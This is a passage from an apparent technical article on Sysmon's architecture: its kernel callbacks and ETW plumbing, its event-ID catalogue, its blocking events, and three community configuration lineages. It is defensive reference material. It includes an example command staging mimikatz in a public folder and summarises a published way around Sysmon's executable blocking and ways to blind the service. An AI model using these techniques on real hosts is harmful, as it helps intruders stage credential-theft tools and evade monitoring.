&lt;p&gt;The sixth source -- the &lt;strong&gt;ETW consumer&lt;/strong&gt; path -- is special. For DNS queries (EID 22), Sysmon does not register a kernel callback. It subscribes as a consumer of the Microsoft-published &lt;code&gt;Microsoft-Windows-DNS-Client&lt;/code&gt; ETW provider, parses the structured DNS events, and republishes them through its own ETW provider with the Sysmon enrichments applied [@sysmon-version-history]. DNS-Client is the only event Sysmon consumes from a Microsoft-published &lt;em&gt;kernel&lt;/em&gt; ETW provider; the WmiEvent family (EIDs 19-21) is implemented in a similar consumer style against the WMI activity provider&apos;s user-mode tracing surface, which is why the §4 catalogue marks those rows as &quot;WMI ETW provider consumer.&quot; Either way, ETW consumption is the input-side exception, not the rule: five kernel-callback families do the bulk of the work, and ETW is the input only for a small, deliberately-chosen set of events.The Sysmon ETW provider has the GUID &lt;code&gt;{5770385F-C22A-43E0-BF4C-06F5698FFBD9}&lt;/code&gt;. Microsoft Learn does not enumerate this GUID on the Sysmon page; the authoritative on-host discovery command is &lt;code&gt;logman query providers Microsoft-Windows-Sysmon&lt;/code&gt;, which returns the GUID, the keywords mask, and the registered processes. Pavel Yosifovich&apos;s community ETW-provider catalogue &lt;code&gt;EtwExplorer&lt;/code&gt; mirrors the value [@etwexplorer-sysmon-guid], with the on-host &lt;code&gt;logman&lt;/code&gt; command remaining the authority of last resort.&lt;/p&gt;
&lt;h3&gt;The ProcessCreate path, step by step&lt;/h3&gt;
&lt;p&gt;The clearest way to see how the pieces fit is to trace one event. Sysmon&apos;s process-create handling is the most-quoted EID in the manifest -- it is the EID that produces Maya&apos;s row in §1 -- and it follows the canonical kernel-callback pattern that Microsoft codified in &lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;// Conceptual pseudocode for SysmonDrv&apos;s process-create path.
// Real Sysmon source for Windows is closed; the Linux port is open.
// This is the contract documented in the WDK reference for
// PsSetCreateProcessNotifyRoutineEx.

NTSTATUS SysmonDrvEntry(PDRIVER_OBJECT DriverObject, ...) {
    // 1. Register the create-process callback. PatchGuard tolerates this.
    PsSetCreateProcessNotifyRoutineEx(SysmonProcessCreateCb, FALSE);
    // ... other callbacks registered similarly ...
    return STATUS_SUCCESS;
}

VOID SysmonProcessCreateCb(
    HANDLE  ParentId,
    HANDLE  ProcessId,
    PPS_CREATE_NOTIFY_INFO  CreateInfo  // NULL on process exit
) {
    if (CreateInfo == NULL) {
        // Process exit: emit EID 5 (ProcessTerminate).
        SysmonEmitEventEID5(ProcessId);
        return;
    }
    // Process create. Apply the XML rule engine: does this process
    // match any &amp;lt;Include&amp;gt; rule, after evaluating &amp;lt;Exclude&amp;gt; overrides?
    if (!SysmonRuleMatch(EID_1, CreateInfo)) {
        return;  // Filtered: produce no event.
    }
    // Enrich with parent process, command line, image hash, integrity
    // level, user SID, ProcessGuid, and session identifiers, then ship
    // through the private Microsoft-Windows-Sysmon ETW publisher.
    SysmonEmitEventEID1(CreateInfo);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Four properties of the path matter. First, the callback is invoked &lt;strong&gt;synchronously&lt;/strong&gt; on the thread that issued the &lt;code&gt;CreateProcessW&lt;/code&gt; call, before the new process&apos;s first instruction runs; the parent and child PIDs are both known, but the new process has not yet executed any user-mode code. Second, the callback is &lt;strong&gt;rate-limited only by your rule engine&lt;/strong&gt; -- there is no built-in throttle, and a verbose &lt;code&gt;&amp;lt;Include&amp;gt;&lt;/code&gt; rule on a high-process-turnover host can saturate the ETW session. Third, the callback runs at &lt;strong&gt;IRQL = PASSIVE_LEVEL&lt;/strong&gt;, so it can do file I/O (which the driver needs for hashing) but it must do that I/O carefully to avoid deadlock on the very file system it is monitoring. Fourth, the Sysmon service runs as a separate user-mode process; if the service has crashed or been suspended, the driver continues to emit ETW events into a session with no listener and they evaporate.&lt;/p&gt;

Sysmon&apos;s per-process unique identifier, formatted as a 128-bit GUID and recorded as the `ProcessGuid` field on every event that names a process. Unlike a Windows process ID, the ProcessGuid survives PID reuse and uniquely identifies a process across its lifetime [@sysmon-ms-learn]; SOC tooling commonly joins on `(DeviceId, ProcessGuid)` to reconstruct process trees and avoid the PID-reuse race condition that plagues raw `ProcessId` joins.
&lt;h3&gt;Where the events go&lt;/h3&gt;
&lt;p&gt;Once the user-mode &lt;code&gt;Sysmon.exe&lt;/code&gt; service has labelled the event, it does two things. First, it writes the event to the Windows event log -- specifically to &lt;code&gt;Applications and Services Logs/Microsoft/Windows/Sysmon/Operational&lt;/code&gt; per Microsoft Learn&apos;s verbatim statement: &quot;&lt;em&gt;On Vista and higher, events are stored in &lt;code&gt;Applications and Services Logs/Microsoft/Windows/Sysmon/Operational&lt;/code&gt;&lt;/em&gt;&quot; [@sysmon-ms-learn]. Second, the same event is also visible to any ETW real-time consumer subscribed to &lt;code&gt;Microsoft-Windows-Sysmon&lt;/code&gt; -- which is how downstream collectors (Windows Event Forwarding, Splunk&apos;s universal forwarder, the Elastic Endpoint integration, Wazuh&apos;s Windows agent) actually pick the events up, rather than tailing the event log XML.&lt;/p&gt;

flowchart LR
    K1[&quot;PsSetCreateProcessNotifyRoutineEx&quot;] --&amp;gt; D[SysmonDrv.sys]
    K2[&quot;PsSetLoadImageNotifyRoutine&quot;] --&amp;gt; D
    K3[&quot;PsSetCreateThreadNotifyRoutineEx&quot;] --&amp;gt; D
    K4[&quot;ObRegisterCallbacks (PsProcessType)&quot;] --&amp;gt; D
    K5[&quot;CmRegisterCallbackEx&quot;] --&amp;gt; D
    K6[&quot;FltRegisterFilter (file system + NPFS)&quot;] --&amp;gt; D
    K7[&quot;ETW consumer: DNS-Client + WMI activity&quot;] --&amp;gt; D
    D --&amp;gt; P[&quot;ETW publisher: Microsoft-Windows-Sysmon&quot;]
    P --&amp;gt; S[Sysmon.exe service]
    S --&amp;gt; L[&quot;Applications and Services Logs / Microsoft / Windows / Sysmon / Operational&quot;]
    P --&amp;gt; R[&quot;Real-time ETW consumers (WEF, Splunk UF, Wazuh, Elastic)&quot;]
&lt;p&gt;This is the first aha moment. Sysmon is not &quot;ETW based&quot; in the way most blog posts imply. Sysmon is &lt;em&gt;a kernel driver that uses ETW as its IPC bus to user mode&lt;/em&gt;, and as a special-case consumer for one provider (DNS-Client). The reason Sysmon needed a kernel driver in the first place is that ETW alone could not see what the kernel callbacks see: ETW could not, in 2014, deliver a synchronous parent-PID-and-image-hash structure at process create time. Sysmon&apos;s driver does that work; ETW transports the result.&lt;/p&gt;
&lt;p&gt;The protected-process gate added in v15 (June 2023) closed the most-trivial blinding attack -- a SYSTEM-privilege process can no longer issue &lt;code&gt;OpenProcess(PROCESS_TERMINATE)&lt;/code&gt; against the Sysmon service to silence it. Raising the bar to a kernel-mode primitive does not eliminate the attack class, but it does change the cost model. The protected-process gate is the architectural inflection that distinguishes pre-v15 Sysmon (trivially blindable) from post-v15 Sysmon (requires a kernel primitive or a BYOVD chain) [@sysmon-ms-learn][@bleepingcomputer-sysmon15].&lt;/p&gt;
&lt;p&gt;Five collection mechanisms, one ETW publisher, one event log. That is the input side. Now the catalogue.&lt;/p&gt;
&lt;h2&gt;4. The Sysmon Event Catalogue: Twenty-Nine IDs and Their Version Gating&lt;/h2&gt;
&lt;p&gt;Run &lt;code&gt;sysmon -s&lt;/code&gt; on any v15.2 host and you get an XML schema enumerating twenty-nine event types plus EID 255 (Error). Every detection-engineering corpus in the field -- SwiftOnSecurity&apos;s config, Florian Roth&apos;s fork, Hartong&apos;s modular, the SigmaHQ rule base, the Threat Hunter Playbook -- is downstream of this single schema [@sysmon-ms-learn][@github-sigma][@github-otrf-thp]. Learn the catalogue once and the rest of the Sysmon toolchain unfolds from it.&lt;/p&gt;
&lt;p&gt;A naming disambiguation is worth doing first, because the colloquial event names the field uses (and that the topic input for this article uses verbatim) differ from the canonical Microsoft Learn names. &quot;RegistrySet&quot; is a colloquial pun on &lt;code&gt;RegistryEvent (Value Set)&lt;/code&gt;, EID 13. &quot;DnsQuery&quot; is a colloquial shorthand for &lt;code&gt;DNSEvent (DNS query)&lt;/code&gt;, EID 22. &quot;NamedPipeConnect&quot; is two events at once: &lt;code&gt;PipeEvent (Pipe Created)&lt;/code&gt;, EID 17, and &lt;code&gt;PipeEvent (Pipe Connected)&lt;/code&gt;, EID 18. The article uses the canonical Microsoft Learn names from here on.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Sysmon&apos;s manifest names some events as a family with a parenthetical operation: &lt;code&gt;RegistryEvent (Object create and delete)&lt;/code&gt; (EID 12), &lt;code&gt;RegistryEvent (Value Set)&lt;/code&gt; (EID 13), &lt;code&gt;RegistryEvent (Key and Value Rename)&lt;/code&gt; (EID 14). The same pattern applies to the pipe events: &lt;code&gt;PipeEvent (Pipe Created)&lt;/code&gt; (EID 17) and &lt;code&gt;PipeEvent (Pipe Connected)&lt;/code&gt; (EID 18). When detection-rule tooling references &quot;EID 12-14&quot; or &quot;EID 17-18&quot;, these families are what it means. The colloquial single-name forms used elsewhere in the literature are not wrong; they are just less precise. The MDE schema does not preserve the parenthetical operation suffix; it surfaces these as &lt;code&gt;ActionType&lt;/code&gt; values inside &lt;code&gt;DeviceRegistryEvents&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;The twenty-nine plus one catalogue&lt;/h3&gt;
&lt;p&gt;The catalogue groups naturally by the collection mechanism that produces each event:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;EID&lt;/th&gt;
&lt;th&gt;Canonical name&lt;/th&gt;
&lt;th&gt;Collection mechanism&lt;/th&gt;
&lt;th&gt;Introduced&lt;/th&gt;
&lt;th&gt;Maps to (MDE)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;ProcessCreate&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;v1.0 (Aug 2014)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceProcessEvents&lt;/code&gt; (&lt;code&gt;ProcessCreated&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;FileCreateTime&lt;/td&gt;
&lt;td&gt;Filter Manager&lt;/td&gt;
&lt;td&gt;v1.0 (Aug 2014)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceFileEvents&lt;/code&gt; (&lt;code&gt;FileCreated&lt;/code&gt;, partial)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;NetworkConnect&lt;/td&gt;
&lt;td&gt;Internal network-callout&lt;/td&gt;
&lt;td&gt;v1.0 (Aug 2014)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceNetworkEvents&lt;/code&gt; (&lt;code&gt;ConnectionSuccess&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;ServiceStateChange&lt;/td&gt;
&lt;td&gt;Sysmon-internal&lt;/td&gt;
&lt;td&gt;v1.0 (Aug 2014)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;ProcessTerminate&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PsSetCreateProcessNotifyRoutineEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;v1.0 (Aug 2014)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceProcessEvents&lt;/code&gt; (&lt;code&gt;ProcessTerminated&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;DriverLoad&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PsSetLoadImageNotifyRoutine&lt;/code&gt; (kernel-mode case via &lt;code&gt;IMAGE_INFO.SystemModeImage&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;v2.0 (2015)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceEvents&lt;/code&gt; (&lt;code&gt;DriverLoad&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;ImageLoad&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PsSetLoadImageNotifyRoutine&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;v2.0 (2015)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceImageLoadEvents&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;8&lt;/td&gt;
&lt;td&gt;CreateRemoteThread&lt;/td&gt;
&lt;td&gt;&lt;code&gt;PsSetCreateThreadNotifyRoutineEx&lt;/code&gt; (with &lt;code&gt;CREATE_REMOTE&lt;/code&gt; flag)&lt;/td&gt;
&lt;td&gt;v3.0 (2016)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceEvents&lt;/code&gt; (truncated)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;9&lt;/td&gt;
&lt;td&gt;RawAccessRead&lt;/td&gt;
&lt;td&gt;&lt;code&gt;\Device\Harddisk*&lt;/code&gt; write filter&lt;/td&gt;
&lt;td&gt;v3.0 (2016)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;ProcessAccess&lt;/td&gt;
&lt;td&gt;&lt;code&gt;ObRegisterCallbacks&lt;/code&gt; (PsProcessType)&lt;/td&gt;
&lt;td&gt;v6.0 (Feb 2017)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceEvents&lt;/code&gt; (GrantedAccess truncated)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;11&lt;/td&gt;
&lt;td&gt;FileCreate&lt;/td&gt;
&lt;td&gt;Filter Manager&lt;/td&gt;
&lt;td&gt;v6.0 (Feb 2017)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceFileEvents&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;td&gt;RegistryEvent (Object create/delete)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CmRegisterCallbackEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;v6.0 (Feb 2017)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceRegistryEvents&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;13&lt;/td&gt;
&lt;td&gt;RegistryEvent (Value Set)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CmRegisterCallbackEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;v6.0 (Feb 2017)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceRegistryEvents&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;14&lt;/td&gt;
&lt;td&gt;RegistryEvent (Key/Value Rename)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;CmRegisterCallbackEx&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;v6.0 (Feb 2017)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceRegistryEvents&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;15&lt;/td&gt;
&lt;td&gt;FileCreateStreamHash&lt;/td&gt;
&lt;td&gt;Filter Manager&lt;/td&gt;
&lt;td&gt;v6.0 (Feb 2017)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;16&lt;/td&gt;
&lt;td&gt;ServiceConfigurationChange&lt;/td&gt;
&lt;td&gt;Sysmon-internal&lt;/td&gt;
&lt;td&gt;v6.0 (Feb 2017)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;td&gt;PipeEvent (Pipe Created)&lt;/td&gt;
&lt;td&gt;Filter Manager minifilter on NPFS (&lt;code&gt;\Device\NamedPipe&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;v6.0 (Feb 2017)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;18&lt;/td&gt;
&lt;td&gt;PipeEvent (Pipe Connected)&lt;/td&gt;
&lt;td&gt;Filter Manager minifilter on NPFS (&lt;code&gt;\Device\NamedPipe&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;v6.0 (Feb 2017)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;19&lt;/td&gt;
&lt;td&gt;WmiEvent (filter)&lt;/td&gt;
&lt;td&gt;WMI ETW provider consumer&lt;/td&gt;
&lt;td&gt;v6.10 (mid-2017)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;WmiEvent (consumer)&lt;/td&gt;
&lt;td&gt;WMI ETW provider consumer&lt;/td&gt;
&lt;td&gt;v6.10 (mid-2017)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;21&lt;/td&gt;
&lt;td&gt;WmiEvent (consumer-to-filter binding)&lt;/td&gt;
&lt;td&gt;WMI ETW provider consumer&lt;/td&gt;
&lt;td&gt;v6.10 (mid-2017)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;22&lt;/td&gt;
&lt;td&gt;DNSEvent (DNS query)&lt;/td&gt;
&lt;td&gt;ETW consumer of &lt;code&gt;Microsoft-Windows-DNS-Client&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;v10.0 (Jun 2019)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceNetworkEvents&lt;/code&gt; (&lt;code&gt;DnsQuery&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;23&lt;/td&gt;
&lt;td&gt;FileDelete (archive)&lt;/td&gt;
&lt;td&gt;Filter Manager&lt;/td&gt;
&lt;td&gt;v11.10 (Jun 2020)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceFileEvents&lt;/code&gt; (partial)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;24&lt;/td&gt;
&lt;td&gt;ClipboardChange&lt;/td&gt;
&lt;td&gt;RDP and Win32 clipboard hooks&lt;/td&gt;
&lt;td&gt;v13.0 (2021; disputed)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;25&lt;/td&gt;
&lt;td&gt;ProcessTampering&lt;/td&gt;
&lt;td&gt;Image-load and &lt;code&gt;WriteProcessMemory&lt;/code&gt; heuristic&lt;/td&gt;
&lt;td&gt;v13.0 (2021; disputed)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;26&lt;/td&gt;
&lt;td&gt;FileDeleteDetected&lt;/td&gt;
&lt;td&gt;Filter Manager (non-archiving)&lt;/td&gt;
&lt;td&gt;v13.30 (2022)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceFileEvents&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;27&lt;/td&gt;
&lt;td&gt;FileBlockExecutable&lt;/td&gt;
&lt;td&gt;Filter Manager (blocking)&lt;/td&gt;
&lt;td&gt;v14.0 (Aug 2022)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;28&lt;/td&gt;
&lt;td&gt;FileBlockShredding&lt;/td&gt;
&lt;td&gt;Filter Manager (blocking)&lt;/td&gt;
&lt;td&gt;v14.10 (2022)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;29&lt;/td&gt;
&lt;td&gt;FileExecutableDetected&lt;/td&gt;
&lt;td&gt;Filter Manager&lt;/td&gt;
&lt;td&gt;v15.0 (Jun 2023)&lt;/td&gt;
&lt;td&gt;&lt;code&gt;DeviceFileEvents&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;255&lt;/td&gt;
&lt;td&gt;Error&lt;/td&gt;
&lt;td&gt;Sysmon-internal&lt;/td&gt;
&lt;td&gt;v1.0 (Aug 2014)&lt;/td&gt;
&lt;td&gt;(Sysmon-only)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The Sysmon Version History repository&apos;s &quot;Outdated&quot; disclaimer (&quot;&lt;em&gt;I didn&apos;t find enough time to update this repo - sorry&lt;/em&gt;&quot;) means the v12 vs v13 boundary for ClipboardChange and ProcessTampering is community-disputed. The canonical Microsoft Learn page does not enumerate version-introduction metadata per event ID. The dates in the table for EIDs 24 and 25 are best-effort community attributions and should be treated as approximate until Microsoft publishes a per-EID version history [@sysmon-version-history][@sysmon-ms-learn].&lt;/p&gt;
&lt;h3&gt;The design intent, in one sentence&lt;/h3&gt;
&lt;p&gt;The catalogue exists because Sysmon&apos;s design choice -- the one Microsoft Learn still prints today -- explicitly refuses to do detection. The publisher emits structured events; the detection logic is somebody else&apos;s problem.&lt;/p&gt;

Sysmon does not provide analysis of the events it generates, nor does it attempt to hide itself from attackers.
&lt;p&gt;This is the sentence that explains the entire SwiftOnSecurity-NextronSystems-Hartong configuration lineage [@sysmon-ms-learn]. If Sysmon refuses to do detection, somebody has to write the rules. Three somebodies did, and they wrote three different sets, and the rest of §5 is about the trade-offs between them.&lt;/p&gt;
&lt;h3&gt;What EID 27 is, and what it is not&lt;/h3&gt;
&lt;p&gt;The 2022 introduction of &lt;em&gt;FileBlockExecutable&lt;/em&gt; (EID 27) was the first preventive event in Sysmon&apos;s history. Olaf Hartong&apos;s contemporaneous writeup and Diversenok&apos;s independent reproduction both describe what the event does, and the mechanism is more subtle than &quot;the I/O is denied.&quot; The Sysmon minifilter intercepts the file-handle &lt;em&gt;close&lt;/em&gt; operation. If the rule matches and the file content carries an MZ/PE header, Sysmon logs EID 27 and marks the file for deletion via &lt;code&gt;FILE_DISPOSITION_INFORMATION&lt;/code&gt; [@diversenok-2022][@hartong-sysmon14-medium]. The attacker&apos;s &lt;code&gt;cmd /c copy mimikatz.exe C:\Users\Public\&lt;/code&gt; produces no command-line error. The copy appears to succeed. The file is then deleted at handle-close time. Hartong&apos;s writeup captures the user-visible effect verbatim: &quot;*While there is no error on the command line, the file is not written to disk*&quot; [@hartong-sysmon14-medium]. Diversenok&apos;s reverse-engineering reads: &quot;*Sysmon monitors and deletes files on closing instead of writing*&quot; [@diversenok-2022]. The closing-time semantics is the structural reason Diversenok&apos;s &lt;code&gt;Bypass #1&lt;/code&gt; (split create-close from open-write-close) works at all; the bypass is incoherent under an &lt;code&gt;Access Denied&lt;/code&gt;-at-create model and obvious under the close-time-delete model.&lt;/p&gt;
&lt;p&gt;This is a confined preventive surface, and it should not be confused with the much larger Defender exploit-protection blocking surface. &lt;a href=&quot;https://paragmali.com/blog/process-mitigation-policies-cfg-acg-cig-and-the-layer-betwee/&quot; rel=&quot;noopener&quot;&gt;Defender exploit protection mitigations&lt;/a&gt; include arbitrary-code-guard, control-flow-guard enforcement, and ASR rules -- they sit inside the Defender Antivirus and MDE stacks. EID 27&apos;s blocking is one Sysmon minifilter making a file-create decision; it is not a general-purpose application-allow-list, and it is not a substitute for &lt;a href=&quot;https://paragmali.com/blog/wdac--hvci-code-integrity-at-every-layer-in-windows/&quot; rel=&quot;noopener&quot;&gt;Windows Defender Application Control&lt;/a&gt;. Hartong&apos;s writeup is explicit about the scope -- &quot;&lt;em&gt;the FileBlockExecutable event&lt;/em&gt;&quot; -- as is Diversenok&apos;s: the introduction reads &quot;&lt;em&gt;the update introduced the first preventive measure -- the FileBlockExecutable event (ID 27)&lt;/em&gt;&quot; [@diversenok-2022].&lt;/p&gt;
&lt;p&gt;Twenty-nine events, four hardening releases, one schema. The catalogue is only useful if you configure Sysmon to emit subsets of it, and configuration is where the field&apos;s three lineages diverged.&lt;/p&gt;
&lt;h2&gt;5. Three Canonical Sysmon Configurations&lt;/h2&gt;
&lt;p&gt;Every production Sysmon deployment in the field is forked from one of three repositories. The lineage matters, and one of the things this article fixes is a common attribution error -- &quot;Florian Roth wrote the canonical Sysmon config&quot; is in widespread circulation, but the canonical &lt;em&gt;root&lt;/em&gt; is SwiftOnSecurity&apos;s repository, and Roth&apos;s repo is a 2018 fork of it.&lt;/p&gt;

The open-source generic-signature-format authored by Florian Roth and his collaborators at Nextron Systems; the SIEM-and-EDR field&apos;s vendor-neutral detection-rule lingua franca. The `SigmaHQ/sigma` repository ships over 3,000 detection rules covering the Windows kernel-callback surface (heavily Sysmon-aware), Linux audit, macOS unified log, AWS CloudTrail, Microsoft 365, and other event sources. Sigma rules are written once and compiled by community converters into the per-tool query languages (KQL for Defender XDR / Sentinel, SPL for Splunk, EQL for Elastic) [@github-sigma].
&lt;h3&gt;SwiftOnSecurity/sysmon-config (February 2017)&lt;/h3&gt;
&lt;p&gt;The historical root. The pseudonymous account &lt;em&gt;SwiftOnSecurity&lt;/em&gt; published the first widely-cited Sysmon configuration template on &lt;strong&gt;February 1, 2017&lt;/strong&gt; per the GitHub REST API [@github-swiftonsecurity-meta]. The README&apos;s design intent is the single sentence still printed at the top of the repo: &quot;&lt;em&gt;This is a Microsoft Sysinternals Sysmon configuration file template with default high-quality event tracing&lt;/em&gt;&quot; [@github-swiftonsecurity]. The template emphasises clarity over coverage; the XML is heavily commented, and the rule structure follows a deliberately conservative pattern of &lt;code&gt;&amp;lt;Include&amp;gt;&lt;/code&gt; blocks per technique.&lt;/p&gt;
&lt;p&gt;SwiftOnSecurity&apos;s config is the most-cited starting point for Sysmon deployments worldwide and the one that detection-engineering tutorials default to. It is also the &lt;em&gt;parent&lt;/em&gt; of every other Sysmon-config repository on GitHub, in the literal GitHub-fork sense -- the GitHub REST API for both NextronSystems/sysmon-config and (via the historical fork-graph) other community configs returns &lt;code&gt;SwiftOnSecurity/sysmon-config&lt;/code&gt; as the parent [@github-nextronsystems-meta].&lt;/p&gt;
&lt;h3&gt;Neo23x0/sysmon-config, now NextronSystems/sysmon-config (January 2018, renamed 2021)&lt;/h3&gt;
&lt;p&gt;Florian Roth, working under his GitHub handle &lt;code&gt;@Neo23x0&lt;/code&gt;, forked SwiftOnSecurity&apos;s config in January 2018 and added blocking-rule support for Sysmon v14 plus the merged community pull-request set. The README&apos;s design intent reads: &quot;&lt;em&gt;This is a forked and modified version of @SwiftOnSecurity&apos;s sysmon config. ... We merged most of the 30+ open pull requests&lt;/em&gt;&quot; [@github-neo23x0]. The maintainer roster as of the present writing is Florian Roth (&lt;code&gt;@Neo23x0&lt;/code&gt;), Tobias Michalski (&lt;code&gt;@humpalum&lt;/code&gt;), Christian Burkard (&lt;code&gt;@phantinuss&lt;/code&gt;), and Nasreddine Bencherchali (&lt;code&gt;@nas_bench&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;The repository ships a &lt;em&gt;blocking&lt;/em&gt; variant, &lt;code&gt;sysmonconfig-export-block.xml&lt;/code&gt;, that adds &lt;code&gt;&amp;lt;RuleGroup&amp;gt;&lt;/code&gt; blocks targeting EID 27 (FileBlockExecutable) and EID 28 (FileBlockShredding) for the most common malware-staging file paths. This is the variant SOC teams deploy when they want Sysmon&apos;s preventive surface to participate in the response pipeline as a hard block rather than as a detection-only artifact.&lt;/p&gt;

The legacy URL `https://github.com/Neo23x0/sysmon-config` now HTTP-301 redirects to `https://github.com/NextronSystems/sysmon-config`. The GitHub REST API for the current repository returns `created_at: 2021-07-24T06:19:41Z` with `parent: SwiftOnSecurity/sysmon-config`, which means the repository as it now exists was created in mid-2021 when Florian Roth moved it from his personal handle to his employer&apos;s organization namespace [@github-nextronsystems-meta]. The content lineage from SwiftOnSecurity is unchanged; the move is an organizational one. The exact pre-rename creation date of the original `Neo23x0/sysmon-config` repository is not reliably retrievable from the current API and is best dated as January 2018 based on the README and the fork-history.
&lt;h3&gt;olafhartong/sysmon-modular (January 13, 2018)&lt;/h3&gt;
&lt;p&gt;Olaf Hartong&apos;s &lt;code&gt;sysmon-modular&lt;/code&gt; was created on January 13, 2018 per the GitHub REST API [@github-hartong-meta]. The repository&apos;s design takes a different shape from the monolithic SwiftOnSecurity and NextronSystems configs: instead of one carefully-tuned XML, Hartong publishes a per-EID-per-technique module library that compiles into one of five pre-generated artifacts plus an arbitrary number of custom builds [@github-hartong-modular]. The pre-generated variants are:&lt;/p&gt;
&lt;ul&gt;
